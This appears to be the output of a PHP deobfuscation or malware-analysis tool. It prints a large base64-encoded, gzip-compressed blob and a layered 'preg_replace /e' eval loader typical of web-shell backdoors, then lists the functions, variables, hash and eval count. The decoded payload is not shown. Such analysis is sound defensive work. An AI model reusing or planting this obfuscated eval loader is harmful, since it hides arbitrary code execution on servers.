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'\x29\x29\x29\x3B","");
?>

Function Calls

gzinflate 5
danopv17711 1
preg_replace 4
base64_decode 5

Variables

$a base64_decode
$b gzinflate
$str 7X37W9u40vDP2+fp/6BmeTdhC7kBvXBJSyG0dClQAr0BX46TOIlLEmdth8vu..
$x7c6mm 8VzWZEtD6rBZpkFuiT+UY689OniFglIoJ/A71aarX196pty7U1N5jEpcpSmP..
$xau7mz XnqWtviGzb1Nx14Crdv5KNVZkxmW++EPpwbbqiM2gbBuMNPiy8sK+xJnwhO+..
$xbgso6 0I4aEnEzGy7vS6zYvsHnqQ1KGIeQZD19ZJ8E8D9iGLP4vaOLNbaZ+zH2QfuK..
$xjtyfz preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x..

Stats

MD5 5489604e0b344a3021e1f18ee8843d6a
Eval Count 10
Decode Time 257 ms